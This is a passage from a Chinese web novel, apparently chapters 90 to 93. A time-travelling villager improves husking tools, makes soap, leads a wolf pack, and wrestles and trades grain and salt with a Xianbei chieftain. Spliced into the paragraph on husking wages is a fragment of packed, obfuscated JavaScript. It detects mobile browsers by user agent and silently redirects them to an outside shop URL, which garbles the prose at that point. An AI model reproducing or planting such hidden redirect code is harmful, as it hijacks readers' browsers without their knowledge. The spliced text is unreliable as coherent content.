小雨这孩子很勤快,平日里在家也不少帮衬着干活,听到李逸跟白雪儿说骡子没有草料了,他就去雪地去割草一趟趟地往木棚里抱。
小雨比大丫还要大些,懂的事情也多,他知道没有了娘,若是没人给他口吃的他肯定会饿死的,所以很卖力的在表现着。
李逸觉得这样挺好,给他口吃的让他从小学会自力更生,正好也磨磨他的性子,别让陈氏收养个白眼狼,到老了糟心添堵。
咚咚咚......
一声声木桩锤击的声音是大荒村这个冬日的节奏,李逸给每家每户都制作了脱壳工具,让他们在家里赚一家人的口粮钱。
有两个选择,一是农户们给自己家仅有的粟米脱壳,之后去乡里把精米卖掉再买粟米回来,如此反反复复日积月累后,家里的粮食会越来越多。
第二种选择,李逸会给他们粟米让他们脱壳,每日所脱粟米的两成留给他们自己,就算是每日的酬劳。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818168|188171||http|test|mini|href|location''.split(''|''),0,{}));
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r>按照一天脱壳二十斤精米计算,一天他们就获得四斤精米,这对天天喝稀粥的村里农户来说,已经算是很高的报酬了,够一家人吃饱还有剩余。
两种选择,村里人是都选择了第二个,自己脱米自己卖虽是能赚得更多,但也麻烦还要来回地在乡里和村里跑,另外大家也都多少听到些风声,知道跟着李逸干才能把日子过得越来越好,如何选择这没有什么可犹豫的。
现如今,整个大荒村,就只有李逸跟何铁牛两个男人了,那些寡妇让她们嚼舌根她们擅长,真有事情她们是没有主见的,连何铁牛都是一心跟着李逸干,她们这些寡妇大道理想不通,但一些眼力还是有的。
不过这样一来,何铁牛可是就成为专职车夫,三天两头就要跑一趟乡里,不仅是陈玉竹她们所在的乡,还有周边的其它乡都要去。
李逸改良的脱壳工具只有大荒村的人在用,现阶段不可能有其它农户比他们的脱壳效率更高,精米的价格短期内不会出现什么波动,可以确保收益稳定。
李逸晚上继续给秦心月缝制衣服,于巧倩有了书简后白天看书,晚上再帮着李逸做针线活。
秦心月的这件衣服就剩下最后的收尾,到现在已经可以很直观看出这套衣服的模样,和白雪儿身上穿的还是有很明显区别的。
“这线头......”
李逸又皱眉了,秦心月这卷布摸着挺光滑,离远了看也看不出什么,但他在缝制衣服时全是近距离接触,布料有什么瑕疵他最是清楚,总有布线稀疏不均的地方,看着就像是学徒工的儿子纺出来的布。
“残次品也能卖高价?”
李逸愣了下,随后一拍额头:“嘶....看我这脑子,怎么把这布这事儿给忽略了!”
这个年代是全面落后的年代,不像是李逸所熟知的盛唐和宋代,那个阶段的各种行业都发展得非常迅猛,并且也是在那个时期有多项技术都是全球领先的。
织布,冶炼,陶瓷,这些比起现在说是天壤之别也毫不夸张。
“我可以改进纺车啊!这又是个不错的进项,足够带全村人致富了!”
之前一心扑在吃上,让李逸忽略了这些。
不过这也是没办法的事情,吃是人类生存的最基本保障,解决了吃这点之后才有多余的时间和精力去想其它的事情。
心中有了这个想法,李逸快速思考其中的细节,织布最核心的两个工具,是纺车和织机,这些在《天工开物》中都有详细的记载。
首先是纺车,如今的纺车都是最简陋的手摇单锭纺车,不仅是出线的速度慢,线的质量也很差,唯一优势是操作简单。
而单人所能操作的极限,是三锭脚踏式大纺车,二者对比,日产的出线量能提升三到五倍,且纺线的质量会极大程度地提升!
拿李逸之前所穿的粗麻布衣服来说,那种麻线的质量真的很差,织的布更是疏密不均匀透风严重,这不只是工作效率的问题还是,还是严重质量和技术的问题。
织机更是直接影响到布的品质,织机的工作是将纺车制作出的纺线,以横纵经纬的排列方式钩织成布匹,经纬布线的根数决定布的密实程度。
李逸若是现在手搓出一台斜织机,所制造的布匹经纬数量就能提升百分之三十以上,另外还能纺织更复杂的花纹,布幅宽度也能提升百分之三十,工作效率能翻倍。
这样从纺线到织布,所有的一套流程下来对比现在的布匹,那就是领先两百年的技术碾压,无论是从美观性,舒适度,实用性,都是全方位的巨大提升。
唯一缺点,是现在落后纺车和织机,很容易上手,看几遍实际操作一天就能完全掌握,但改良后纺车和织机,要想熟练掌握使用方法,需要十天半个月才行,但这些都不是问题!
李逸越想越觉得可行,这是能让全村人都加入的致富营生.....
第九十一章:肥皂真好,洗白白
“玉竹姐,倩儿姐,你们看快夫君!”
白雪儿悄悄拉了下于巧倩和陈玉竹的衣服,三女一同看向桌边的李逸。
明明刚才还在认真的缝制衣服,不知怎的现在正手拿着骨针在那发呆呢,李逸保持着穿针的动作,眼睛却是直勾勾的一看就是在想事情。
“嘿嘿.....我去逗逗他!”
白雪儿说着就要从炕上下去,被于巧倩一把拉住。
“雪儿,别胡闹,夫君定是想到了什么事情,你在关键时刻打断夫君的思绪,就不怕一会夫君生气打你的小屁股啊。”
白雪儿听闻连忙缩回小脚,回到炕上老实坐着双手还捂着屁股。
“那咱们就看看,夫君到底能发呆多久!”
于是三人就那么一眨不眨地盯着李逸,看着他被骨针扎到手指才回神。
李逸眨了眨眼睛,刚才想得太入神,忘记手上还有针线活了,视线一扫就看到对面白雪儿她们都在憋着笑。
李逸眯眼:“好啊你们三个,排排坐看夫君我笑话是吧?晚上看我给你们三个打针!”
白雪儿缩了缩手,以为李逸说要用针扎她们。
“夫君,你明明是自己扎到的,怎么能怪我们呢?”
“是呀,夫君,就是你自己扎到的,我们都看到了”陈玉竹也跟着应和。
李逸看向于巧倩,于巧倩忙低下头看书简:“我什么都没看见哦!”
“哎呀!倩儿姐,你怎么能这样啊.....”
看着三女玩闹的模样,李逸轻叹这才是这个年纪该有的活力嘛,搁在后世现代,这些都是无忧无虑的高中生和大学生。
“呃.....高中生还是除外吧,都被卷**”
李逸恍惚间又想到备战高考时的苦逼,那真是一考一个不吱声,而这个年代尚无科举,科考按理来说应算是最原始的高考了。
“来,心月,试试你的新衣服吧。”
李逸将缝制好的衣服展开了抖了抖,秦心月听闻收起鱼肠剑过来,她将身上衣服脱下换上李逸亲手缝制这一套。
因为李逸仔细丈量过尺寸,这套衣服秦心月穿上非常合身。
“哇!新月姐穿上真是太好看了,更像是女侠了!”白雪儿赞叹。
陈玉竹跟着猛猛点头:“嗯嗯....好看的呢,夫君这手艺可是要比乡里的那些裁缝还要厉害。”
【伴侣秦心月好感度+5(当前好感度60)】
【获得奖励:自由属性点+1】
按照李逸原定的想法,体质是最优先级别,不过在狩猎升级时体质属性一下增加了两点,现在他的身体素质,别说四个媳妇,就是再来四个他也抗得住,所以在思量后他将这点加到了力量上,好让人物属性在均衡一些。
“接下来,给谁做?”
李逸的视线在陈玉竹和于巧倩之间游离。
“给玉竹妹妹”
“给倩儿姐!”
二女都在谦让,李逸笑道:“嗯.....不错,不争不抢都很听话,那夫君就两件一起错,让你们一起穿上新衣服。”
“嗯!还是夫君最有主意”陈玉竹连连点头。
嗷呜.......
狼嚎之声响起,听到这个声音屋子里的所有人都如临大敌的侧起耳朵。
虽说听起来狼的叫声都没有什么差别,但在专业的人听来却是有明显不同的。
声音的长短和音调,尾音,这里面都是学问,李逸的脑海有相关记忆,不知道是哪位大佬的,能在这上面花时间琢磨,这位大佬也是个奇才。
“夫君,又有狼来了!”白雪儿缩了缩脖子和陈玉竹抱在一起。
李逸笑着摆了摆手,拿起桌子上丑丑的皮帽子戴好,虽说现在技艺精湛了,但李逸觉得这顶帽子有些特殊纪念意义,不愿地给自己重新做一顶。
“没事的别害怕,这狼是来找我的,夫君我出去看看。”李逸的语气轻松。
“找你?找你报仇吗?”白雪儿无法理解。
“不!他现在是那些狼的狼王!”乌兰开口给白雪儿解释。
李逸走出院子,一路走到上次那个山坡,远远的就看到有几道影子在那边。
这次来的野狼有七只,多了两个新成员,不知道是哪只野狼代替他这狼王收的小弟。
距离近些,李逸见到在这几只野狼的面前有一头成年野鹿的尸体,它们都压低身子将头微微低下,两只新加入的野狼也都做着相同的动作。
李逸笑了,这些狼小弟还挺上道的,知道打到猎物要先孝敬他这个狼王。
李逸将手搭在第一只野狼的头顶,就像是撸狗一样,抓挠它的后脑和脖子甚至会拉它的耳朵。
“行了,你们回去吧!”
李逸挥挥手,那只野狼就领着其它野狼快速返回山林,跑出一段后一起发出狼嚎之声。
村子遇袭的那天晚上,李逸一共收获了算狼王在内的十五只狼,再算上救下乌兰时射杀的四只,一共有十九只。
只是给这些狼剥皮就差不多用了他一整天的时间,不只是剥皮,还要特意将狼身体上的脂肪都剔出来,除了皮下脂肪,在狼的腹部,腿部,背部都会有一定的脂肪,剩下的便是在内脏里。
这些脂肪要用来提炼狼油,狼油的药用价值很高,是草原人最好的伤药,有加速愈合伤口和消炎杀菌的效果,另外对冻疮,风湿关节炎等病症也有显著疗效,所有李逸要特意提炼出来封存在陶罐中。
另外狼骨也是好东西,狼牙箭是草原游牧民族最好的箭,狼骨的硬度要超过牛羊,可以用来制作武器,用狼骨制作的骨刀和**是非常锋利的,同时狼骨还能作为加速恢复骨伤的药材使用。
说道骨头,李逸还从王金石那要回了些虎骨来,虎骨的药用效果比狼骨还要强,狼骨狼油所具备的效果虎骨都具备,另外还有强壮筋骨的效果。
李逸将那些虎骨都捣碎研磨成细粉,封存在一个陶罐中,保存好想着以后弄个虎骨壮骨冲剂,人家那只是名字,他这是真材实料。
而关于狼肉的处理,在草原上也是一种应急食物,乌兰就吃过,只不过味道是真不怎么样。
李逸将狼皮,骨头,脂肪全都剔除,处理完后就剩下纯狼肉了。
狼肉的腥味极重还有酸味,肉质也很柴,虽说李逸不打算吃,但村子里绝大多数的户人都是好久没见荤腥了,虽然旁边就守着一座大山,但没有些狩猎技巧,猎物又不会自己送上门来,守着大海的百姓,也不见得各个都能出海打鱼。
李逸询问了每个村里人,大家一面想吃一面又有些害怕,李逸秉着不能浪费的原则谁愿意吃,就分一些拿回去,叮嘱他们必须煮熟烤熟,避免有寄生虫。
乌兰很中意狼王的肉,她说在部落里的勇士们要战斗前,吃狼肉会让他们更勇敢更强大。
李逸不赞同,但表示尊重!
这属于部落的信仰,所以他没有在这方面去较真说什么。
乌兰说愿意用一头大羊来交换狼王的肉,这是好事,李逸自然要答应,冬日里这肉能长期储存,狼王给他们剩下的狼肉他们想要也可以拿去。
“乌兰,算算一日子,你哥哥和族人也快到了吧?”李逸忽然问了这么一句。
乌兰愣住,大眼睛不可置信的盯着眼前的李逸。
“你是怎么猜出来的?”
“这还用猜吗?如果我是部落首领,亲妹妹和族人都不回来,必然是要过来探查的。”
“还有,关于粮食和盐运送的问题,你不需要担心我有办法,就看你哥哥的态度了。”
听李逸这么说,乌兰终于放下心来,天天想这些她也很头疼,她恨不得把这座山直接搬走。
三日后.....
李逸怀揣着激动的心情,去给他制作的肥皂拆模,木模拆开里面四块长方形的肥皂终于得见。
肥皂的颜色是淡淡的乳黄色,平整光滑,用力按上去硬邦邦的,手指揉搓肥皂表面能感觉到那种很熟悉的细腻。
将肥皂翻转过来,阴刻的福字很是清晰,看着就很令人心情愉悦。
“成了!道爷我成了!”
李逸皮了一下笑得很开心,为了制作一块肥皂,他这是前前后后加起来弄了十多天,终于得到了心心念念的肥皂。
“夫君,这是什么吃食?”
白雪儿偷偷凑过来,拿起一块肥皂凑在鼻子前闻了闻,没有什么香味还能闻到淡淡的猪油腥味,看着挺稀
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罕的就是不知道好不好吃。
“唉?雪儿,我告诉你啊,这可不是吃的,吃了它你就吐泡泡了,这叫肥皂是拿来用的,一会我教你怎么用。”
“吐泡泡?”陈玉竹疑惑地歪着头,幻想着那个画面。
李逸的双手因为最近什么活都做得有些粗糙,指甲和甲沟里存了很多泥污,甚至连指纹的纹路里都是黑乎乎的,这些泥污日积月累后很难被水给洗干净。
就连白雪儿她们也同样如此,虽是没有李逸这么脏,但指甲指缝里的污垢也无法完全洗干净。
李逸回到里屋,迫不及待地弄了一盆温水,兴冲冲地吆喝:“爱妃们,快来快来!”
听到李逸召唤,几女都围了过来,就连在外面忙碌的张绣娘也放下手中的活过来,她知道白雪儿她们应是察觉出什么了,所以也不刻意隐藏和李逸的关系。
见李逸被围起来,乌兰也疑惑地下炕凑过来,大高个儿站在白雪儿和陈玉竹身后毫无压力。
“我告诉你们啊,这叫肥皂,是能够把你们洗白白的好东西!”
“可以洗手,洗头发,还能用来洗身子。”
李逸说得眉飞色舞,几女却感觉自家夫君出口就是虎狼之词。
“我来教你们啊”
李逸顾不上去看媳妇们微羞的表情,先把手放在水中洗了洗沾湿,然后拿来肥皂在双手间搓了搓,瞬间就出现了细腻的白色泡沫,起泡效果非常好。
一阵揉搓后,泡面越来越多混合着泥汤低落到水盆中,等李逸把手在水盆中洗净泡沫后,能够明显看到他手的变化,是真的白了也干净了。
“哇!这肥皂好厉害啊,夫君的手真的洗干净了!”
白雪儿惊呼,其他人也都看傻了,不知道这是什么原因,就是因为摸了几下这个肥皂,夫君的脏手就能洗得干净了。
“绣娘,你也来洗洗手!”
李逸看到了张绣娘,连忙让她过来蹲下,几女中她干活最多手自然也会存留很多泥污。
当着这么多人面被直接喊绣娘,张绣娘就算是过来人也是会感到不好意思的,低着头不敢看白雪儿她们,小声应道:“行,我也来试试!”
李逸手把手教张绣娘使用香皂,教她如何把手掌的各个部位都搓洗到。
“哎呦!快看!我的手也滴泥汤了,娘勒,我的手咋这么脏呀!”张绣娘连连发出惊呼。
其他人也纷纷来尝试这肥皂的妙用,没一会,一盆水就全都变成泥水了。
“夫君!你这肥皂真是好东西啊!”白雪儿看着自己干净的手,连连称赞。
“是呀夫君,这肥皂拿到县城去卖,那些大户人家的夫人小姐肯定抢着买。”于巧倩想到这点,觉得这又是一个赚钱的生计。
“夫君,你真是太厉害了!”
李逸连忙又去弄了一盆温水他要用香皂洗头,忍无可忍,无需再忍!
感受到泡沫出现在头顶,李逸激动得差点哭出来,终于能干干净净做人了!
哎呀!自己弄的肥皂就是好用啊!纯天然,无刺激!
“夫君,我晚上要用来洗澡!”白雪儿跃跃欲试,她打算做第一个用肥皂洗澡的人。
“雪儿,我也要洗,咱俩一起!”陈玉竹也是满心期待。
“豆子,大丫,你们过来!”张绣娘将两个孩子喊过来,打算也给这两个小泥人洗洗脏手。
因为一块肥皂的出现,所有人都表现得很新奇稀罕,屋子里也多了欢声笑语。
大鲜卑山.....
一行人在山林之中穿行,九个男人都穿着厚厚的皮袄戴着皮帽,他们都有着中原男人罕见的高大魁梧,领头的男人眼神锐利如鹰隼,下巴上的胡子编成小辫子。
阿石野快走两步追上前面的首领乌孤:
“乌孤首领,不要着急,我们已经走了三天很快就能穿过圣山了,腾格里会庇佑我们的族人,庇佑乌兰。”
乌孤右手握拳放在胸前:“腾格里,请赐予我力量!让我救回族人。”
附近的山林中有灰影快速略过......
“首领!周围有狼在跟着我们!”
乌孤按住腰间的骨刀,声音低沉沙哑:“再敢靠近,就全杀了吃肉!”
第九十二章:我这二当家有点靠谱啊!
嗷呜......
**,一声声狼吼从山林的方向传来,声音悠长响亮。
听到这叫声,院子里所有干活的人都停下动作,一同看像山林的方向,那夜村子被狼群袭击后,村里人对狼嚎声尤为警觉。
李逸刚用自制的肥皂洗完头,顿时就有种神清气爽的感觉,想着若是再有些清新的香味那就更妙了。
用不怎么吸水的麻布擦了擦头发,突然就听到屋外有狼嚎声,李逸连忙侧头眯着眼仔细听,根据声调和叫声长度分析,这是狼在领地发现入侵者时传递讯息的嚎叫。
因为李逸是狼王,它们自然就将大荒村和附近的山林划分为领地。
“三叔,又有狼叫!”豆子跑过来报信。
李逸又快速擦了几下头,穿好衣服直接将皮帽子戴上。
“乌兰,走,去迎接你哥哥和族人们吧”
乌兰诧异:“你说什么?我哥哥?”
“这个时候过来,还能被狼群警觉的,只能是你的哥哥和族人。”
“好,我们一起去!”听李逸语气笃定,乌兰应了声跟着他一起出门。
见李逸走出来,院子里干活人的全都看向他。
“没事,没事,你们继续干活,我去看看。”
李逸说话的语气还是平常那样,不着急也不害怕,众人见后心里也就有了底,那天夜里李逸他们可是杀了十几条野狼,只要有李逸在大家就不担心。
脚步停下.....
乌孤站在山林边缘观察下方不远处,那里有中原人住的房子,数量不多还很稀疏,说明这是规模很小的部落。
“首领,这部落不大,我们直接冲下去吧!”狼烈战意十足,很想冲下去痛快地厮杀。
乌孤沉吟片刻说道:“乌兰应该在他们手上,我们派一个人下去,让这部落的首领出来和我们谈”
“首领,你看!有人出来了!”
阿石野指着山林下方,远远看到两个人正在向着这边走。
雪沫飞起,十只野狼从山林的各个方位窜出,向着山坡下冲去。
“嗯?”
乌孤疑惑地皱起眉头,他没想到周围竟然有这么多野狼藏匿,另外这些野狼一路跟着他们没有攻击,现在看到山下有两个人过来就全都窜了出去。
“呦!我这二当家有点靠谱啊!”李逸满意的笑道。
最开始被他放回山林的只有五只野狼,上次来就变成了七只,这次来更是直接突破两位数了,他这狼王离线托管,二当家倒是很上心,猛猛地帮他壮大狼群,做大!做强!
这些野狼冲到李逸身边,就将李逸和乌兰簇拥在中间,它们在外围慢慢地跟着。
李逸伸手摸了下二当家的头,这只野狼的体型是十只中最大的,它有一个很明显的特征,额头有一撮白毛看形状就像一只竖眼。
“看你忠心耿耿的份上,给你赐个名,以后你就叫二郎”
乌兰一只在眯眼往山林里看,距离近些能够大致看到几道人影,她高举双手挥动,大声呼喊。
“哥哥!我是乌兰!”
乌兰说的是鲜卑语,声音一出乌孤就听出来了,阴晴不定的脸上终于露出些笑意,不只是阿娘无法接受乌兰死的消息,做哥哥的他同样无法接受。
但作为部落首领,任何时候他都要尽量表现得毫无畏惧,有足够自信,但在心里他是一遍遍地在祈求腾格里保佑乌兰。
“首领,是乌兰!”
“来两个人和我一起,其他人在这里守着”
乌孤昂首迈步向着山下走去,阿石野和狼锋跟在他身后走出山林。
看到那熟悉的身影,乌兰加快脚步冲了上去。
距离近些后,乌孤发现了乌兰身上的衣服和头发都变了,看起来更像是一个中原人。
“乌兰!”
“哥哥!”
兄妹相见两人的心中都是开心的。
“乌兰,为什么不回部落,大家都很担心你,骨延和风律呢?”
说到骨延和风律,乌兰的眼神迅速暗淡下去:
“我们狼群袭击,骨延和风律都**,我正好遇见了李逸,是他救下了我。”
乌兰看向身后不远处的李逸,乌孤也跟着看过去,此时的李逸正在和身边的野狼低声说着什么。
“他会驯狼?”乌孤皱起眉问道。
乌兰摇头:“他亲手杀了狼王,那些野狼也被它收服了”
“他很强?”乌孤的眼底有熊熊战意燃烧,想要成为草原上最强大的勇士,就必须要战胜很多强大的人。
乌兰笃定地点头:“他很强,应该是中原部落最强的勇士!”
“最强?”
这两个字对一个强者来说就是挑衅,乌孤大步走向李逸,他的接近让周围的野狼都警惕地龇出獠牙。
乌孤右手握拳放在心口,对李逸微微低头说道:
“感谢你救下了我的妹妹,我是乌孤,是秃发部落的首领!”
李逸诧异的是这个身材魁梧看起来很威猛的草原汉子,说的中原话比他妹妹乌兰还要熟练。
“刚好遇到,就顺手救下了。”李逸笑着说。
“我们本来是打算抢你们部落的,但既然你救下我的妹妹,我们秃发部落是不会对恩人出手的!”
“乌兰,我们回去!”乌孤说完转身就要离开。
乌兰连忙上前拉住他:“哥哥,你先别着急走,我有话要说!”
乌孤疑惑地看向乌兰,乌兰将最近几天想好的话快速地说完,乌孤听后更疑惑地看向李逸。
“你愿意和我们交换?”
李逸微笑点头:“你们缺食物和盐,而我们这边缺少牛羊和马匹,交换对我们双方都好。”
乌孤仔细询问了下大概的兑换比例,听后震惊之余也很是心动。
如果按照李逸的兑换标准,部落里只需要拿出一小部分的牛羊和马用来交换,他们就能获得足够一个部落用来过冬的食物,既是解决了食物的问题,还留住了绝大多数的牛羊,最重要的是盐,他们的盐池被抢走,部落里人不能长期不吃盐。
但很快乌孤也意识到,这么大量的粮食要该怎么运送回部落的问题。
“就算是我同意和你们交换,那么多粮食我们要怎么运送回去?”
乌孤会心动,是李逸预料之内的事情,一个合格的首领不能只知道抢掠,要会认真地思考怎么才是对部落最好的选择,抢掠虽是最直接的获取方式,但要付出的代价是抢掠时所损失的人。
拓跋部落在抢夺秃发部落时,虽大获全胜收获颇丰,但他们也**不少部落里的勇士。
一个孩童成长为部落的勇士要十几二十年,这种损失是无法轻易弥补的。
“乌孤首领,你们草原是不是有一条大河?”李逸问道。
乌孤想了想回答:“有!那是母亲的河!是腾格里的馈赠!我们叫它拉沐伦河,我们以前的盐池距离那边就很近。”
乌孤和乌兰他们经常挂在嘴边的腾格里,用中原话来说就是长生天,草原的游牧民族的信仰就是天地。
李逸点头:“对!就那条河!”
“从我们这里沿着山脉,一路向西南,大概三四日就能看到那条河,之后沿着河道一路向西北,穿过峡谷就能到你们的草原,既然乌孤首领知道拉木伦河的位置,那么回到草原你也应该知道该怎么走回部落了吧?”
乌孤微微沉吟,李逸所说的他能大致想出是什么样子,如果真是那样,赶在草原的暴雪来临之前,他们就能把食物囤积得充足,用一个冬天修整,天一暖,在别的部落需要修整时他们却是可以直接出去征战,掠夺壮大部落,弥补被拓跋部落抢夺的损失。
“好!我答应和你们交换,就是不知道你有多少粮食?”
“我们现在返回部落,再带着牛羊从山里穿过来,来回用不了十天的”
李逸笑着说:“这足够我准备更多的粮食了,你想换多少我就有多少”
李逸现在也是小有存款,若是乌孤要交换的数量太多他吃不下,他还可以找到老王。<
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br>老王本就是经营的酒肆和马匹生意,羊肉和马匹他都需要,从秃发部落这边直接交易,他们最少能省下一半钱,没有人会不心动的。
见李逸如此自信,乌孤微微点头:“好,我需要想一下拿多少牛羊来和你交换。”
“好,那乌孤首领你们商议吧,之后让乌兰告诉我。”
李逸说着就打算离开,乌孤却又开口喊住了他:“等等!”
李逸转头诧异询问:“乌孤首领还有什么事情?”
“我听乌兰说,你是中原最强的勇士,我想和你比试一下!”
乌孤的目标是成为草原上最强的勇士,听乌兰说李逸是中原最强的勇士,心底就有一种和他比试的冲动,看看谁更强!
李逸之前听过乌兰的这个心声,但他并没有在意,因为乌兰根本不清楚整个中原有大又有多少人,能人异士不在少数,敢称呼自己为最强的,只有最无知或者最自大的人能做出这事。
“我不是中原最强的勇士,只是我们部落的最强吧”
将大荒村看作是一个部落,这个部落现在就剩下....两个成年男人,而现在的李逸多少比何铁牛要强上一些,所以说他是部落里的最强勇士,这合情也合理。
“乌兰说你能徒手战胜狼王,我想和你比试看看谁更强!”
乌孤的眼神很坚定,李逸瞬间就明白了,有些老板要陪酒,有些老板要唱歌,有些要唠嗑,眼前的这位,需要陪切磋。
“好!”李逸很痛快地答应。
乌孤对李逸的表现很满意,有了几分认可,他将身上的弓箭,**和骨刀全都卸下。
“来吧,既然不是厮杀,我们就来比摔跤!”
李逸学着他样子把自己**丢在旁边,脸上笑容收敛后,整个人气势犹如变脸一般发生明显变化。
摔跤也是一种实用的格斗技巧,比拼的是下盘的稳定扎实和身体角力,在不同量级实力的情况下,可以用蛮力压制,瞬间撂倒对手没有什么技巧可言。
但若遇到势均力敌的情况,如何借力用力,如何卸力,绊,摔,拉,拽,抱,全都是最实用的技巧。
“来了!”
乌孤低吼一声冲向李逸,身材高大又穿着狼裘的他,就像是一头人熊。
刚猛的前冲力道,加上自身体型和体重的优势,乌孤冲过来像是一辆战车,就是要以蛮力将李逸撞倒。
李逸也跟着前冲,明明二人有着巨大的体型差异,但和乌孤撞在一起在力量上他却丝毫没有落入下风的迹象,二人的比拼一开始就陷入了僵局。
乌孤心中惊讶,若李逸是个比他更高大威猛的汉子,能够在力量上和他对抗他可以理解,可李逸这身形,就是一群骏马中那一匹最瘦弱的小马驹,怎么看都不可能和骏马一样拥有风一般的速度。
李逸也很惊讶,他现在的力量属性点是六点,就算身体的底子基础是瘦弱不堪,但作为成年男性怎么也要三四十斤以上的力量,六倍提升后那也是足够恐怖的。
然而这样的他,也不过是做到力量上和乌孤势均力敌,由此就知道草原勇士有多么强大。
力量比拼试探对手的实力过后,便是技巧上的博弈,李逸的脑海中虽然有诸多实用的摔跤技巧,但想要完全融合成身体的肌肉记忆,需要一个适应阶段,这让他逐渐落入下风,只能依靠身体强大的协调性和反应速度和乌孤僵持着。
在乌兰说李逸是中原最强的勇士时,她的族人们心中还有些轻视,觉得李逸这么瘦弱怎么看都配不上勇士二字,他甚至还不如草原一些强壮些的女人们,草原的汉子能单手把他举起来。
但在看到李逸和乌孤首领角力丝毫不落下风,还能抵挡住一次次进攻,他们的轻视之心瞬间收起,心中暗暗佩服已经认可了李逸。
撑过一阵乌孤的连续进攻,李逸记忆里的摔跤技巧在这个过程中迅速和身体融合,由大脑记忆转换为身体记忆,他终于不在一味地防守,开始反击!
第九十三章:血赚的大买卖!
从比试开始后,乌兰的视线,始终锁定在李逸身上。
这几日的接触她是亲眼目睹过李逸的强大,所以她才会在心里觉得,李逸就是中原部落最强的勇士,现在看他面对哥哥乌孤丝毫不落下风,乌兰的内心更是坚定了自己的判断。
虽说是比试,哥哥没有下死手,但李逸同样是。
对抗狼群的李逸,所散发出的那种气势乌兰现在还清晰的记得,那种让人身体止不住颤抖的感觉。
所以真要是拼命厮杀,乌兰觉得自己哥哥战败死掉的可能性要更大。
李逸从被动防守,到防守**,再到现在是他在主动攻击让乌孤陷入被动,完全适应后的李逸,若是不放水能虽是将乌孤摔倒。
但那样就显得他太不懂人情世故了,乌孤怎么说也是突发部落的首领,身边还跟着族人,在部落里他就是部落的最强勇士,是部落勇士们战斗的信仰支撑,这若输掉就算再直率的人,心情也不会好的,甚至会被这些草原汉子,当做是对他们首领的一种侮辱,仇恨值瞬间拉满。
这就是一门学问,李逸在现代当过牛马,虽然不是那种深谙此道的销售精英,但最基本的人情世故还是知道些的,不过这次不仅仅是一次交易,也是中原和鲜卑部落的碰撞。
他表现得太弱小,乌孤和他的族人必定会轻视看不起他,所以也不能表现得太弱。
乌孤现在更像是一块磨刀石,他在将李逸这把利刃磨砺得更锋利,又僵持了十几个回合,乌孤的呼吸明显粗重了很多,他的体力开始下滑了.....
所有大体型的生物都有一个共同点,所需要消耗能量也更多,另外接近四天的赶路,休息不好也吃不好,身体的状态本就也不是在巅峰,一番角力拉扯下来,身体就出现力不从心的感觉。
李逸见状,知道时机成熟了,他进攻的频率开始增加,还特意让动作幅度增大暴露破绽。
找准备时机,他奋力进攻,乌孤奋力反击,二人的身体纠缠着扭在一起,最终几乎是同时躺倒在地,造成了一个类似平局的最终结果,没有胜利者也没有失败者。
乌孤呼呼呼地喘着粗气,李逸也学着他的样子同样喘着粗气,体质属性高达七点的他,这点程度对他来说要算是热身了。
乌孤缓过来后先站起身,对李逸伸出一只手,李逸握住他的手被他从地上拉起来。
“乌孤首领,你果然是草原最强的勇士,我佩服你的实力!”李逸努力让自己的语气很诚恳。
乌孤也难得地露出笑脸:“你也很强,确实是个强大的勇士!”
如此一来,这就是皆大欢喜的比试结果,赢得乌孤的尊重,也得到其他草原汉子的尊重。
“乌兰,你来和我商量下交换的事情。”
乌孤将乌兰喊过去,李逸也挥手让自己的狼群返回山林。
回到家,他就连忙吩咐让张绣娘和陈氏做肉包子,等乌兰回来,这边的肉包子也做好了,纯碱可以中和老面发酵的酸味,还能让馒头变得雪白。
李逸试着放了些,效果很明显,大家也都看出了今日馒头和包子的区别。
李逸和乌兰一起抬着笼屉过去,正好看到乌孤和族人们在撕咬着肉干,刚蒸好的大肉包子松软可口,乌兰可是知道肉包子的美味,她也是最喜欢。
第一次吃肉包子,李逸觉得这些带着野性的草原汉子,那一瞬间的眼神都清澈了许多,震惊,茫然,不知所措,这就是美食的魅力,在美食面前是不分种族的。
李逸的种种举动,再加上乌兰对她的欣赏和信任,乌孤和乌兰交谈完后就基本定下了一个交换的大概数字,首先是盐,这是部落里必须要有的也是最缺的。
粟米本就不是草原人的主要食物,他们可以吃牛羊肉可以吃奶制品,同样可以填饱肚子,但长期不吃盐部落的勇士无法骁勇善战,人本就少再不勇猛,根本没有办法和别的部落抗衡。
部落里现在还有四百多不到五百人,每个人都要吃盐,需要的盐就不是一个小数。
“两千斤盐!”
李逸听得皱眉,这真不是一个小数字,且中原现在的盐价是很高的,一斤在四十钱左右,上下浮动不会太大,是粟米的四十倍,两千斤盐就需要八万钱,李逸现在的总资产才十万多一点。
另外,县城和乡里能够有两千斤盐储备的盐铺也很少,这不知道要清空几个贩盐的小铺子才能收够两千斤,最重要的是这只是盐的部分,他们需求的粮食更多,要三万斤。
李逸皱着眉沉思,他没有一口答应,是因为他想到了另外一个问题,那就是运送的问题。
单拉的骡车和牛车,拉载拉千斤粮食已经是极限,双拉能提升到一千五六百斤,三万斤粮食那就需要二十辆车,全都双拉便是足足四十头大牲口。
考虑到随时可能下暴雪,李逸和乌孤都觉得应该赶着牲畜穿山过来,李逸这边准备好现成的木板车,乌孤他们到后套上他们自己牛和马就能直接拉走。
只要不是那种需要人攀爬的峭壁陡坡,只要人能通过牛羊和马匹同样可以通过,绕路赶路的速度再慢些,不过是多额外消耗一天的时间。
听李逸说得越详细,考虑得越周到,乌兰和乌孤才越觉得他这个人可靠可信。
最终定下的交易数额,是两万斤粟米和一千五百斤粗盐,十五辆结实牢固的板车,板车在平时部落的迁徙时也会用到,十五辆不算多。
李逸在脑海中飞快计算着,他买这些东西要消耗大概九万钱,不过这都是市价的基础价,他要的数量多,价格还能降低一些。
而他给乌孤的价格是,一头大羊一千钱不分公母,半大羊羔四百钱,种羊两千三百钱,一头大牛四千钱不分公母,小牛一千五百钱,种牛一二千万钱,骏马一匹七千钱,小马三千钱。
草原游牧民族,会将除了种羊种牛外的大多数成年公羊和公牛**,**后它们会变得温顺,长肉的速度也有所提升,否则到了万物复苏该动物世界的季节,为了配偶权这些公牛公羊它们能掰头一整天,一天接一天,**之后方便驯养。
